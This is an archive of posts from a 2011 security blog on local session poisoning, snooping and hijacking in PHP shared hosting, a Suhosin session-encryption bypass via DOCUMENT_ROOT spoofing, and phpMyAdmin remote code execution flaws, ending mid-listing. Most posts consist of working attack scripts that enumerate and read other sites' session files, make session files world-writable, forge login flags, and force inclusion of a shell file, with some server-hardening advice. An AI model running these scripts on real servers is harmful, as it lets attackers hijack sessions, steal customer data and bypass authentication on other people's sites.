Haxxor Security

Local Session Poisoning in PHP Part 3: Bypassing Suhosin's Session Encryption

2011-09-29T00:10:00.001+02:00

By default Suhosin transparently encrypts session files stored by PHP. This seems to be adequate protection against local session poisoning in a shared hosting environment. But let's take a closer look.

Article series

Part 1: The Basics of Exploitation and How to Secure a Server
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html

Part 2: Promiscuous Session Files
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html

Part 3: Bypassing Suhosin's Session Encryption
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html

Generating the key

When processing a request, Suhosin generates a unique encryption key for each client. To build the encryption key, an algorithm is seeded with 4 pieces of data, or a subset thereof. The user-agent, the document-root, 0-4 octets of the remote IP address and a user defined key. These pieces of data are chosen to produce a unique key for every client on every domain.

Domain A and B are hosted on the same shared server and an attacker with access to domain B wants to conduct a local session poisoning attack targeting domain A. When transparent session encryption is enabled the attacker is required to replicate the conditions of the targeted web application at domain A when decrypting/encrypting its session files in the context of domain B.

The remote IP address of the attacker normally does not change and need not be cared about.
The user-agent is also controlled by the attacker and normally does not change.
The user defined key is a string defined in the runtime configuration option suhosin.session.cryptkey. By default it is an empty string. And even if set, it is usually a global setting meaning that domain A and domain B shares the same key. But if domain A actually has got its own unique key configured, the only remaining option is to bruteforce it. A bruteforce will probably fail unless a very short or otherwise inadequate key was chosen.
The document-root is the web server's root directory where the web site's files resides, and therefore unique to every domain on a shared server. To generate the same key as domain A in the context of domain B, the attacker needs to spoof domain B's document-root to that of domain A.

Let's check out lines 568-624 in session.c of Suhosins source code. Here is suhosin_generate_key, the function responsible for generating the key used when encrypting the session files.


char *suhosin_generate_key(char *key, zend_bool ua, zend_bool dr, long raddr, char *cryptkey TSRMLS_DC)
{
 char *_ua = NULL;
 char *_dr = NULL;
 char *_ra = NULL;
 suhosin_SHA256_CTX ctx;
 
 if (ua) {
  _ua = sapi_getenv("HTTP_USER_AGENT", sizeof("HTTP_USER_AGENT")-1 TSRMLS_CC);
 }
 
 if (dr) {
  _dr = sapi_getenv("DOCUMENT_ROOT", sizeof("DOCUMENT_ROOT")-1 TSRMLS_CC);
 }
 
 if (raddr > 0) {
  _ra = sapi_getenv("REMOTE_ADDR", sizeof("REMOTE_ADDR")-1 TSRMLS_CC);
 }
 
 SDEBUG("(suhosin_generate_key) KEY: %s - UA: %s - DR: %s - RA: %s", key,_ua,_dr,_ra);
 
 suhosin_SHA256Init(&ctx);
 if (key == NULL) {
  suhosin_SHA256Update(&ctx, (unsigned char*)"D3F4UL7", sizeof("D3F4UL7"));
 } else {
  suhosin_SHA256Update(&ctx, (unsigned char*)key, strlen(key));
 }
 if (_ua) {
  suhosin_SHA256Update(&ctx, (unsigned char*)_ua, strlen(_ua));
 }
 if (_dr) {
  suhosin_SHA256Update(&ctx, (unsigned char*)_dr, strlen(_dr));
 }
 if (_ra) {
  if (raddr >= 4) {
   suhosin_SHA256Update(&ctx, (unsigned char*)_ra, strlen(_ra));
  } else {
   long dots = 0;
   char *tmp = _ra;
   
   while (*tmp) {
    if (*tmp == '.') {
     dots++;
     if (dots == raddr) {
      break;
     }
    }
    tmp++;
   }
   suhosin_SHA256Update(&ctx, (unsigned char*)_ra, tmp-_ra);
  }
 }
 suhosin_SHA256Final((unsigned char *)cryptkey, &ctx);
 cryptkey[32] = 0; /* uhmm... not really a string */
 
 return cryptkey;
}

Spoofing DOCUMENT_ROOT

On line 580 in session.c the value used when generating the key is retrieved from an environment variable by the function sapi_getenv. The thing is that environment variables can be modified from within a PHP script and the document-root can therefore be spoofed before the session is initialized.

Here is a short script utilizing a function that tries three different methods to set the DOCUMENT_ROOT environment variable.


// Output original value
echo "[i] DOCUMENT_ROOT was set to '".getenv('DOCUMENT_ROOT')."'.\n";
// Function to set the DOCUMENT_ROOT environment variable
setdocroot('/hsphere/local/home/useraaa/domain-a.com');
// Output new value
echo "[i] DOCUMENT_ROOT changed to '".getenv('DOCUMENT_ROOT')."'.\n";

// Initializing a session
session_start();
// Setting some arbitrary values
$_SESSION['x1'] = 'hej';
$_SESSION['x2'] = 'apa';
// Closing the session
session_write_close();

function setdocroot($docroot){
 // Function trying different methods to
 // set the DOCUMENT_ROOT environment variable.
 // http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html
 @putenv("DOCUMENT_ROOT=$docroot");
 if($docroot === getenv('DOCUMENT_ROOT'))return true;
 if(is_callable('apache_setenv')){
  apache_setenv('DOCUMENT_ROOT',$docroot);
  if($docroot === getenv('DOCUMENT_ROOT'))return true;
 }
 @exec("SET DOCUMENT_ROOT=$docroot");
 if($docroot === getenv('DOCUMENT_ROOT'))return true;
 return false;
}

The attacker with access to domain B will have to make an educated guess to what the document-root of domain A is. Clues can be found by studying domain B's own document-root. Usually it contains the user name and domain name, both which would be substituted by those relevant to domain A.

A more precise way of obtaining domain A's document-root is to utilize a Full Path Disclosure vulnerability. As suggested by OWASP, the PHPSESSID cookie could be set to an empty string which, if error reporting is turned on, triggers an error message like this one that reveals the local path.

Warning: session_start() [function.session-start]: The session id contains illegal characters, 
valid characters are a-z, A-Z, 0-9 and '-,' in /hsphere/local/home/useraaa/domain-a.com/includes/session.php on line 4

Local Session Poisoning in PHP Part 2: Promiscuous Session Files

2011-09-15T11:52:00.004+02:00

FastCGI, suPHP and suExec can all ensure that a PHP script which is called from the web will execute under the user that owns it, as opposed to the user the web server is running as. This seemingly protects against session poisoning by ensuring that a malicious user no longer can open and manipulate session files owned by other users in a shared host.

The hidden pitfall is that while these protection mechanisms protect session files from unauthorized access, they can not prevent a user from authorizing others to access its session files. If all the session files are stored in a common folder it is trivial to trick a web application into loading session variables from a promiscuous session file.

Article series

Creating a promiscuous session

Domain A and B are hosted on the same shared server. One user with access to domain B targets domain A.

On domain B, first choose a suitable session or initialize a new one. Then locate where the session files are stored. This path is usually set by the runtime configuration option session.save_path. If not, it defaults to the local temp directory, such as /tmp on most unix systems. Then find the session file. Its name is the prefix "sess_" followed by its session id. Change its permissions so that it is readable and writable by anyone. Now domain A as well as any other web application in that shared host can access and use this session.

Here is a script to automatically create a promiscuous session.


<?php
// Local Session Poisoning in PHP Part 2: Promiscuous Session Files
// http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html
// Creating a promiscuous session

// Initsialize a session
@session_start();
// Get the session id
$sessid = session_id();
echo "[i] Session id: $sessid\n";
// Close the session
session_write_close();

// Retrieve the path where session files are saved
session_save_path(); // Might have to be called twice... not sure.
$sesspath = session_save_path();
//if(php_sapi_name()!=='cli')echo "<pre>\n";
// Test session.save_handler
$sessmod = session_module_name();
if(empty($sessmod))$sessmod = ini_get('session.save_handler');
echo "[i] Session save handler: $sessmod\n";
if($sessmod !== 'files'){
 echo "[!] Possible Error: session.save_handler is set to '$sessmod' instead of 'files'. Trying anyway.\n";
}
// If retrieving the path failed. Try this.
if(empty($sesspath)){
 $sesspath = ini_get('session.save_path');
 if(empty($sesspath)){
  if(function_exists('sys_get_temp_dir')){
   $sesspath = sys_get_temp_dir();
  }else{
   die('[!] Error:Cannot find session save path. Try setting it manually.');
  }
 }
}
$sesspath = @array_pop(explode(';',$sesspath));
echo "[i] Session save path: $sesspath\n";
// Enumerate sessions
$sessions = array();
clearstatcache();
// Search for the session file
if(!findSessIn($sesspath)){
 die("[!] Error: Cannot open the session save path.\n");
}
die('[!] Error: Cannot find session file. Try it manually.');

function findSessIn($dir){
 global $sessid;
 if(!($handler = opendir($dir))){
  return false;
 }
 while ($file = readdir($handler)){
  $path = substr($dir, -1) === DIRECTORY_SEPARATOR ? $dir.$file : $dir.DIRECTORY_SEPARATOR.$file;
  if ($file === 'sess_'.$sessid){
   // Found the session file
   echo "[i] Found session file: $path\n";
   // Change permissions
   if(chmod($path, 0666)){
    echo "[i] Session file permissions set to ".substr(decoct(fileperms($path)),2)."\n";
    echo "[*] Done! Promiscuous session $sessid successfully created.\n";
    echo "[i] Now modify the PHPSESSID cookie to use it.\n";
    die();
   }else{
    echo "[i] Failed to chmod session file to 0666. Try doing it manually.\n";
   }
   return true;
  }elseif(strlen($file) === 1 && is_dir($path) && $file !== '.'){
   findSessIn($path);
  }
 }
 closedir($handler);
 return true;
}
?>

Using a promiscuous session

When a session file has been made readable and writable by anyone on the server, a web application on domain A can load its session variables from it.

Modify the PHPSESSID cookie belonging to the targeted web application on domain A to use the promiscuous session's id. Usually a browser extension that enables one to modify ones cookies is to prefer, but unless the HttpOnly flag on the cookie is set, JavaScript will do.

This link contains a small bookmarklet cookie editor, save it as a bookmark or copy-paste it into the browsers address bar. Execute it in the context of domain A and modify the PHPSESSID cookie.

When the session id in the cookie has been changed it will be sent to the web application in the next request made to it. The web application will take the session id, locate the session file, find out that it can both read and write to it and think of it as its own. From that web applications point of view, there is no difference between this and its normal sessions, although one important difference exists. Domain B can modify this session at will.

Anti session fixation

Note that this is a type of self inflicted session fixation. It will therefore be interrupted by anti session fixation techniques, which switches to a new session id. This will probably make one unable to keep the promiscuous session while authenticating or passing any other function that likely implements anti session fixation techniques. But by prefilling the session with the expected variables, it need not be a problem.

Local Session Poisoning in PHP Part 1: The Basics of Exploitation and How to Secure a Server

2011-09-07T13:20:00.008+02:00

Session poisoning is the act of manipulating sessions specific data in PHP. To add, change or remove variables stored in the super global $_SESSION array.

Local session poisoning is enabled by the fact that one web application can manipulate a variable in the $_SESSION array while another web application has no way of knowing how that variable's value came to be, and will interpret the variable according to its own logic. The $_SESSION array can then be manipulated to contain the values needed to spoof a logged in user or exploit a vulnerable function. PHP programmers put far more trust in $_SESSION variables than for example $_GET variables. The $_SESSION array is considered an internal variable, and an internal variable would never contain malicious input, would it?

Article series

PHP's session storage

By default PHP's option "session.save_handler" is set to "files" which is the most commonly used session handler. In this configuration a serialized string representation of the $_SESSION array is stored in a file. These files are stored in a directory specified by the configuration option "session.save_path", and their names are composed of the prefix "sess_" followed by the session id.

The default way to tie a client to a session is to store the session id in a cookie called "PHPSESSID". The client can easily switch between session by modifying this cookie.

Shared hosting environments

In shared hosts it is a common practice to use a collective session storage, to store all of the hosted web applications' session files in the same folder. This type of configuration is strongly advised against as it in just about every case is vulnerable to session poisoning and enables local users to insert arbitrary variables in other users' web application sessions.

There are security layers, patches and plugins to PHP which you would think prevents local session poisoning in shared hosts. suPHP and suEXEC uses ownership and strict permissions on the files in PHP's session storage. However it is trivial to fool this system, as described in part two of this article series. Suhosin offers options to encrypt the session files but in its default configuration it can easily be bypassed, as described in part three of this article series.

Local session poisoning is a significant threat even when faced with a remote attacker. If a determined attacker fails to find any exploitable vulnerabilities in a web application, but notices that the web application resides in a shared host, the attacker would enumerate other domain names resolving to the same IP by for example utilizing http://www.ip-neighbors.com, http://hostspy.org/, http://www.my-ip-neighbors.com/ or Bing's ip search operator. One of the neighbouring web applications is bound to have an unpatched flaw. When exploited, the remote attacker possesses all the capabilities of a local user and continues to attack the desired target from within the hosting server.

Example 1: Spoofing variables

The easiest path of exploitation is to focus on the parts of an application that utilizes sessions. By spoofing values one could fool its internal logic and for example bypass authentication.

Consider an autentication routine like this one present in a web application on domain A.


// Starting the session
session_start();
// Authentication
if(isset($_SESSION['isLoggedIn']) && $_SESSION['isLoggedIn']){
 // Already authenticated, proceed.
 haveAwsomeAmountsOfFun();
}elseif(isset($_POST['loginButton'])){
 // Loggin in. Check credentials.
 $_SESSION['isLoggedIn'] = checkCredentials($_POST['username'], $_POST['password']);
}else{
 // Not logged in. Show login form.
 showLoginForm();
 exit();
}

Domain B is a separate domain hosted on the same server. By running this code on domain B one could spoof authentication for domain A.


// Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
// Start the session
session_start();
// Spoof a variable
$_SESSION['isLoggedIn'] = true;
// Close the session
session_write_close();

Now the variable $_SESSION['isLoggedIn'] is set to true and session id "16khau0g8c3mp3t3jbsedsc1mf0blvpu", when used on domain A, is authenticated.

Example 2: Exploitable function calls

Because of the inherit trust the $_SESSION array possesses due to its status as an internal variable, PHP programmers do not sanitize its values. Where one would never trust the contents of a $_GET variable, the contents of a $_SESSION variable is usually considered to be safe.

Consider this potential flaw in a web application on domain A.


// Starting the session
session_start();

// ...

if(isset($_SESSION['theme']){
 include('themes/'.$_SESSION['theme'].'.php');
}else{
 include('themes/default.php');
}

And this code sample required to exploit it from domain B.


// Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
// Start the session
session_start();
// Spoof a variable
$_SESSION['theme'] = '../../../../mallroy/public_html/shell';
// Close the session
session_write_close();

When the web application on domain A is executed with session id "16khau0g8c3mp3t3jbsedsc1mf0blvpu", "themes/../../../../mallroy/public_html/shell.php" would be included.

Example 3: Autoloading classes

If an autoload function has been defined before the session is started, it will automatically be called to try to load any undefined class. If the session includes an object using an undefined class, the objects class name will be passed as the first argument to the autoload function when the object is being unserialized by the session handler. An autoload function will usually try to include a file derived from that name, like this.


// Setup autoload function
function __autoload($class_name) {
    include $class_name . '.php';
}

// ...

// Starting the session
session_start();

Any object stored in the $_SESSION array will trigger the autoload. This code sample used on domain B would subsequently cause domain A to include the file ClassName.php.


// Define class
class ClassName{}

// Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
// Start the session
session_start();
// Spoof a variable
$_SESSION['anyvar'] = new ClassName();
// Close the session
session_write_close();

Path traversal is not possible because both the dot and the slash are invalid characters in an objects name. Valid characters are A-Z, a-z, 0-9, _ and \x80-\xFF. As of PHP 5.3 the backslash character is also valid due to its use as a namespace separator. In Windows hosts, the backslash can be used as directory separator and cause an autoload function to include files from subfolders. However some programmers build their autoload function to replace underlines with slashes to allow it to naturally include files from subfolders.

Example 4: Invoking an objects sleep- and wakeup methods

A class may define a sleep- and a wakeup method. When an object, of a previously defined or autoloaded class, in the session array is unserialized by the session handler its wakeup method is invoked, and when serialized its sleep method is invoked. This causes an unnatural flow in the code and might expose otherwise unreachable flaws, specially since all the internal variables in the object can set arbitrarily.

Here is an example of a vulnerable logging class on domain A which loads a file in its wakeup method.


class VulnLogClass{
 protected $logfile = 'error.log';
 protected $logdata = '';

 // Various logging methods here ...

 public function __wakeup(){
  // Load log from file
  $this->logdata = file_get_contents($this->logfile);
 }
}

// Starting the session
session_start();

Using this code sample on domain B one could subsequently cause the web application on domain A to read the contents of an arbitrary file into a variable in the object when executed with this session.


// Define a dummy class with modified variables
class VulnLogClass{
 protected $logfile = '../secret.php';
 protected $logdata = '';
}

// Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
// Start the session
session_start();
// Store an instance of the dummy class in $_SESSION
$_SESSION['anyvar'] = new VulnLogClass();
// Close the session
session_write_close();

Domain B could then view the contents like this.


// Define a dummy class with the same name
class VulnLogClass{}

// Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
// Start the session
session_start();
// Dump the data stored within the object.
var_dump($_SESSION['anyvar']);
// Close the session
session_write_close();

Should programmers sanitize session variables?

No, programmers should not sanitize session variables. The server admin is responsible for adequately securing the session files.

Securing a shared hosting environment

In shared hosts, session files from one web application should not reside in the same directory as that of another web application. And the directory they do reside in should not be readable nor writable by any one other than the owner. To accomplish this, for each user, create a user-owned folder and have its permissions set to 600. Then, for each user, set the runtime configuration option session.save_path to the path of their folder.

session.save_path /hsphere/local/home/exampleuser/sessionstorage

If Suhosin is installed on the server there is a slightly simpler way to secure the session storage. By utilizing session encryption all the session files can be kept together in a common folder. For this to be secure, each user must be assigned a unique encryption key as set by the configuration option suhosin.session.cryptkey.

suhosin.session.cryptkey 5up3rRan0mK3y)withSauc3+

The server administrator should configure the shared host using at least one of these two methods. One way to accomplish this, if PHP is installed as an Apache module, is for each VirtualHost block in the Apache httpd.conf file to contain these settings prefixed by "php_value" as specified in the manual. If PHP is running in CGI/FastCGI mode, php.ini sections can be configured to accomplish the same goal. Other variations or special environments may need to be configured in their own way. The important thing is that each user has their own unique session storage path or encryption key. If however this has been neglected by the administrator, individual users can for example try to set these configuration options by themselves by adding them to a .htaccess-file or by any other means available in their environment.

http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html

Local Session Snooping in PHP

2011-08-10T12:20:00.004+02:00

Local session snooping is not as much a security issue as a way of gathering information from an already compromised web application. Unless it is a badly configured shared host where an attacker might gather otherwise unobtainable information. It's basically about extracting all the information a web application stored in the super global $_SESSION variable.

Nevertheless, it is easy. The one thing needed is a session id (the value of the PHPSESSID cookie). If the host uses PHP's default session handler, these could easily be enumerated as in the POC further down in this post.

Here is the most basic example of local session snooping.


 session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
 session_start();
 var_dump($_SESSION);
 session_write_close();

Set the session id you would like to snoop on.
Start the session.
Dump all of the info contained within the $_SESSION variable.
Finally, close the session.

A dangerous scenario

We have all seen these multistage checkouts in different webshops. You fill in your address, click next, fill in your preferred shipping method, click next, fill in your credit card details and so on. There is also often a back button and the visitor can go back an fourth without loosing the values previously entered. The easiest way to code such a feature is to store all form values in the $_SESSION array.

That is information you do not want to have lying around in your session storage. What is even more troublesome is that these session variables are rarely cleared when finished doing their job. They are retained until the server decides the session is to old and wipes it. This could take hours or even days on a less active host.

The attacker

Consider a remote attacker who broke into a webshop or another web application that contains potentially valuable data. The attacker would be able to snoop thrue every active or lingering session. The attacker might even setup a automatic script that does it hourly.

The worst case scenario would be a badly configured shared host where the attacker are able to snoop on every session belonging to all of the hosted websites.

POC

Here is a short script to find and search every accessible session for a given string.


<?php
// http://ha.xxor.se/2011/08/local-session-snooping-in-php.html

// A string to search for in every session. 
$search_for = 'test';

// Retrieve the path where session files are saved
session_save_path(); // Might have to be called twice... not sure.
$sesspath = session_save_path();
if(php_sapi_name()!=='cli')echo "<pre>\n";
// Test session.save_handler
$sessmod = session_module_name();
if(empty($sessmod))$sessmod = ini_get('session.save_handler');
echo "[i] Session save handler: $sessmod\n";
if($sessmod !== 'files'){
 echo "[!] Possible Error: session.save_handler is set to '$sessmod' instead of 'files'. Trying anyway.\n";
}
 
if(empty($sesspath)){
 $sesspath = ini_get('session.save_path');
 if(empty($sesspath)){
  if(function_exists('sys_get_temp_dir')){
   $sesspath = sys_get_temp_dir();
  }else{
   die('Error:Cant fins session save path. Try setting it manualy.');
  }
 }
}
$sesspath = array_pop(explode(';',$sesspath));
echo "[i] Session save path: $sesspath\n";
// Enumerate sessions
$sessions = array();
clearstatcache();
if(!findSessIn($sesspath)){
 die("[!] Error: Cannot open the session save path.\n");
}
 
function findSessIn($dir){
 global $sessions;
 if(!($handler = opendir($dir))){
  return false;
 }
 while ($file = readdir($handler)){
  $path = substr($dir, -1) === DIRECTORY_SEPARATOR ? $dir.$file : $dir.DIRECTORY_SEPARATOR.$file;
   //echo "$path \n";
  if (substr($file, 0, 5) === 'sess_' && is_readable($path)){
   $sessions[] = substr($file, 5);
  }elseif(strlen($file) === 1 && is_dir($path) && $file !== '.'){
   findSessIn($path);
  }
 }
 closedir($handler);
 return true;
}

// Search
echo "[i] Searching for \"$search_for\"...\n";
foreach($sessions as $session){
 session_id($session);
 session_start();
 if(stristr(serialize($_SESSION), $search_for) !== FALSE) {
  echo "[+] somehing found in $session.  Serialized data: ".serialize($_SESSION)."\n";
 }else{
  echo "[-] nothing found in  $session.\n";
 }
 session_write_close();
}
?>

Local Session Hijacking in PHP

2011-08-04T16:55:00.005+02:00

Recently I discovered that the shared hosting provider I sometimes use is susceptible to this age-old technique that everyone really should know about by now.

PHP's default session handler stores session data in files. And by default these files are placed in /tmp. In a shared enviroment session files should never be placed in a directory that can be read by a malicious local user like the world readable /tmp directory.

Even if the session files might be protected from being read or written by a malicious user, their name leaks valuable information. The name of a typical session file name reads "sess_0m9gnkgenne66kvs3eklhvucjmdpchto". All the numbers and letters following "sess_" are those of the PHPSESSID cookie which that session is tied to. Any local user who can enumerate the files in this directory can therefor hijack the cookies belonging to the visitors of all the websites located in the shared host. One of them might belong to an admin at one of the local websites.

POC

Here is a short script to enumerate session files and their respective local owner.


<?php
// http://ha.xxor.se/2011/08/local-session-hijacking.html

// Retrieve the path where session files are saved
session_save_path(); // Might have to be called twice... not sure.
$sesspath = session_save_path();
if(php_sapi_name()!=='cli')echo "<pre>\n";
// Test session.save_handler
$sessmod = session_module_name();
if(empty($sessmod))$sessmod = ini_get('session.save_handler');
echo "[i] Session save handler: $sessmod\n";
if($sessmod !== 'files'){
 echo "[!] Possible Error: session.save_handler is set to '$sessmod' instead of 'files'. Trying anyway.\n";
}

if(empty($sesspath)){
 $sesspath = ini_get('session.save_path');
 if(empty($sesspath)){
  if(function_exists('sys_get_temp_dir')){
   $sesspath = sys_get_temp_dir();
  }else{
   die('Error:Cant fins session save path. Try setting it manualy.');
  }
 }
}
$sesspath = array_pop(explode(';',$sesspath));
echo "[i] Session save path: $sesspath\n";
// Enumerate sessions and their owner.
clearstatcache();
echo "\nOwner           File\n";
if(!findSessIn($sesspath)){
 die("[!] Error: Cannot open the session save path.\n");
}

function findSessIn($dir){
 if(!($handler = opendir($dir))){
  return false;
 }
 while ($file = readdir($handler)){
  $path = substr($dir, -1) === DIRECTORY_SEPARATOR ? $dir.$file : $dir.DIRECTORY_SEPARATOR.$file;
  if (substr($file, 0, 5) === 'sess_'){
   $owner = fileowner($path);
   if(function_exists('posix_getpwuid')){
    $owner = posix_getpwuid($owner);
    $owner = $owner['name'];
   }
   if(strlen($owner) < 16)$owner = substr($owner.str_repeat(' ',15), 0, 15);
   echo "$owner $path\n";
  }elseif(strlen($file) === 1 && is_dir($path) && $file !== '.'){
   findSessIn($path);
  }
 }
 closedir($handler);
 return true;
}
?>

To find out which website corresponds to which local user, simply visit the website, grab your cookie and then search for its value and the local user in the list.

Encrypt.se New Feature: Key exchange

2011-07-29T18:17:00.005+02:00

Encrypt.se is a small tool that helps anyone to easily send encrypted messages. There is no registration, no cookies, no hassle.
Read more about it in this previous post: http://ha.xxor.se/2011/07/encryptse-beta-open-for-public.html

The Key Exchange feature enables users of Encrypt.se to communicate their secret crypto key to their friends over the phone, even if someone might be listening.

I've been working hard the last week to get this feature up and running. Currently there's only a PHP implementation, witch means that you will have to rely on our server to do some of the encryption and decryption. A JavaScript implementation is on its way.

How it works

To securely transmit a secret key over an insecure channel we utilize a well known method. This is how it works.

--------Sender--------           ------Recipient------

 (Step 1)
Input a secret key and
apply a first level of
encryption to the key.
Send the encrypted key            (Step 2)
to the recipient.      --------> The recipient applies
                                 a second level of
                                 encryption and
 (Step 3)                        transmits the double-
The sender now removes <-------- encrypted key back.
(decrypts) the first
level of encryption                       
and transfers the
encrypted key back to             (Step 4)
the recipient.         --------> The recipient can now 
                                 remove (decrypt) the
                                 second level of
                                 encryption and read
                                 the secret key.

--------Sender--------           ------Recipient------

Weakness

This method is of course susceptible to a MITM attack. But by using the phone or any other medium where other parts identity can be validated, for example by recognizing their voice, it is safe.

phpMyAdmin 3.x Swekey RCI Exploit

2011-07-09T02:01:00.003+02:00

Someone else submitted a working python exploit to exploit-db. It's already out there so I might as well publish my original exploit written in PHP.
2011-07-20 - Fixed some bugs in the exploit.

Download here

Encrypt.se Beta open for the public

2011-07-08T22:51:00.006+02:00

Encrypt is a small project of mine with it's first stable beta recently opened up for public access. The goal has been to create an encryption tool for shorter messages, which is as secure as possible, yet simple to use.

Click here to visit Encrypt.se

Basic usage

Regardless of your computer skills, the encryption tool is simple to use. The basic usage is described below, in three steps:

The sender encrypts a small message using a key phrase and receives a short URL/link.
The sender transmits this URL to the recipient.
The recipient visits the URL and decrypts the message with the key phrase.

Main Features

Strong encryption
256-bit AES in CTR mode.
Supports smartphones
Encrypt.se uses a compact scaling design that is pleasant to browse on both smartphones as well as regular monitors.
Local encryption
The encryption and decryption is done locally in the browser using JavaScript. Your unencrypted message never leaves your computer, and therefor can't even be read by me.
Supporting non-JavaScript users
If JavaScript is disabled the application transmits the message over an SSL encrypted connection to my server that encrypts it.
Unicode support
Encrypt.se addresses everyone, and therefor supports Unicode to allow the use of foreign characters.

Planned Features

Key exchange
This is a feature under development. It ensures that no one can get a hold of your key phrase, even sent over an insecure channel where someone may be monitoring your communications.
Encrypted Chat
This is a feature under development.

phpMyAdmin 3.x preg_replace RCE POC

2011-07-08T16:32:00.010+02:00

I'm flooded with requests for a POC and many doubt that these vulnerabilities are exploitable. And since this vulnerability is rather technically interesting I believe many could learn from it.

The POC uses the session manipulation vulnerability in combination with the remote code execution in preg_replace as detailed in my last blogpost. It will only confirm if the instance is exploitable or not and you need to have valid credentials to the database. Use responsibly.

Download here

Edit:As 0x6a616d6573 reminded me of, blogger removes "%00" if not carefully encoded. The code posted where messed up due to this. (The downloadable file where still fine)
Now it's fixed. I also added the "//" as suggested.

phpMyAdmin 3.x Multiple Remote Code Executions

2011-07-07T19:49:00.014+02:00

This post details a few interesting vulnerabilities I found while relaxing and reading the sourcecode of phpMyAdmin. My original advisory can be found here.

If you would like me to audit your PHP project, check out Xxor's PHP security auditing service. http://www.xxor.se/services/php-security-audit.php

The first vulnerability

File: libraries/auth/swekey/swekey.auth.lib.php
Lines: 266-276
Patched in: 3.3.10.2 and 3.4.3.1
Type: Variable Manipulation
Assigned CVE id: CVE-2011-2505
PMA Announcement-ID: PMASA-2011-5


if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false)
{
    parse_str($_SERVER['QUERY_STRING']);
    session_write_close();
    session_id($session_to_unset);
    session_start();
    $_SESSION = array();
    session_write_close();
    session_destroy();
    exit;
}

Notice the call to parse_str on line 268 that passes the query string as it's first argument. It's missing a second argument. This means that what ever parameters and values are present in the query string will be used as variables in the current namespace. But since the code path that executes the call to parse_str inevitably leads to a call to exit there ain't much to exploit. However the session variables persists between requests. Thus giving us full control of the $_SESSION array.

When reading the code, you might believe that the session gets destroyed. But the call to session_write_close on line 269 saves the modified session, and the call to session_id on line 270 switches session. This could be confuseing when testing in a browser because the call to session_start will send a new cookie instructing the browser to forget about the modified session.

From here on there are numerous XSS and SQL injection vulnerabilities open for attack. But we'll focus on three far more serious vulnerabilities.

The second vulnerability

Patched in: 3.3.10.2 and 3.4.3.1
Type: Remote Static Code Injection
Assigned CVE id: CVE-2011-2506
PMA Announcement-ID: PMASA-2011-6

File: setup/lib/ConfigGenerator.class.php
Lines: 16-78


    /**
     * Creates config file
     *
     * @return string
     */
    public static function getConfigFile()
    {
        $cf = ConfigFile::getInstance();

        $crlf = (isset($_SESSION['eol']) && $_SESSION['eol'] == 'win') ? "\r\n" : "\n";
        $c = $cf->getConfig();

        // header
        $ret = 'get('PMA_VERSION')
                    . ' setup script' . $crlf
            . ' * Date: ' . date(DATE_RFC1123) . $crlf
            . ' */' . $crlf . $crlf;

        // servers
        if ($cf->getServerCount() > 0) {
            $ret .= "/* Servers configuration */$crlf\$i = 0;" . $crlf . $crlf;
            foreach ($c['Servers'] as $id => $server) {
                $ret .= '/* Server: ' . strtr($cf->getServerName($id), '*/', '-') . " [$id] */" . $crlf
                    . '$i++;' . $crlf;
                foreach ($server as $k => $v) {
                    $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);
                    $ret .= "\$cfg['Servers'][\$i]['$k'] = "
                        . (is_array($v) && self::_isZeroBasedArray($v)
                                ? self::_exportZeroBasedArray($v, $crlf)
                                : var_export($v, true))
                        . ';' . $crlf;
                }
                $ret .= $crlf;
            }
            $ret .= '/* End of servers configuration */' . $crlf . $crlf;
        }
        unset($c['Servers']);

        // other settings
        $persistKeys = $cf->getPersistKeysMap();

        foreach ($c as $k => $v) {
            $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);
            $ret .= self::_getVarExport($k, $v, $crlf);
            if (isset($persistKeys[$k])) {
                unset($persistKeys[$k]);
            }
        }
        // keep 1d array keys which are present in $persist_keys (config.values.php)
        foreach (array_keys($persistKeys) as $k) {
            if (strpos($k, '/') === false) {
                $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);
                $ret .= self::_getVarExport($k, $cf->getDefault($k), $crlf);
            }
        }
        $ret .= '?>';

        return $ret;
    }

On line 42 in this file a comment is created to show some additional information in a config file. We can see that the output of the call to $cf->getServerName($id) is sanitized to prevent user input from closing the comment. However $id, the key of the $c['Servers'] array, is not. So if we could rename a key in this array we could close the comment and inject arbitrary PHP code.
On line 26 the $c array is created from a call to $cf->getConfig().

File: libraries/config/ConfigFile.class.php
Lines: 469-482


    /**
     * Returns configuration array (full, multidimensional format)
     *
     * @return array
     */
    public function getConfig()
    {
        $c = $_SESSION[$this->id];
        foreach ($this->cfgUpdateReadMapping as $map_to => $map_from) {
            PMA_array_write($map_to, $c, PMA_array_read($map_from, $c));
            PMA_array_remove($map_from, $c);
        }
        return $c;
    }

Bingo! The $c array is derived from the $_SESSION array hence we could have full control of its contents by utilizing the first vulnerability. Now we can inject arbitrary PHP code that will be saved into the file config/config.inc.php. Then we would just browse to this file and the webserver would executed it.

This vulnerability requires one specific condition. The config directory must have been left in place after the initial configuration. This is something advised against and hence a majority of servers wont be susceptible to this attack. Therefor we'll check out a third and a fourth vulnerability.

The third vulnerability

Patched in: 3.3.10.2 and 3.4.3.1
Type: Authenticated Remote Code Execution
Assigned CVE id: CVE-2011-2507
PMA Announcement-ID: PMASA-2011-7

File: server_synchronize.php
Line: 466


    $trg_db = $_SESSION['trg_db'];

Line: 477


    $uncommon_tables = $_SESSION['uncommon_tables'];

Line: 674


        PMA_createTargetTables($src_db, $trg_db, $src_link, $trg_link, $uncommon_tables, $uncommon_table_structure_diff[$s], $uncommon_tables_fields, false);

File: libraries/server_synchronize.lib.php
Lines: 613-631


function PMA_createTargetTables($src_db, $trg_db, $src_link, $trg_link, &$uncommon_tables, $table_index, &$uncommon_tables_fields, $display)
{
    if (isset($uncommon_tables[$table_index])) {
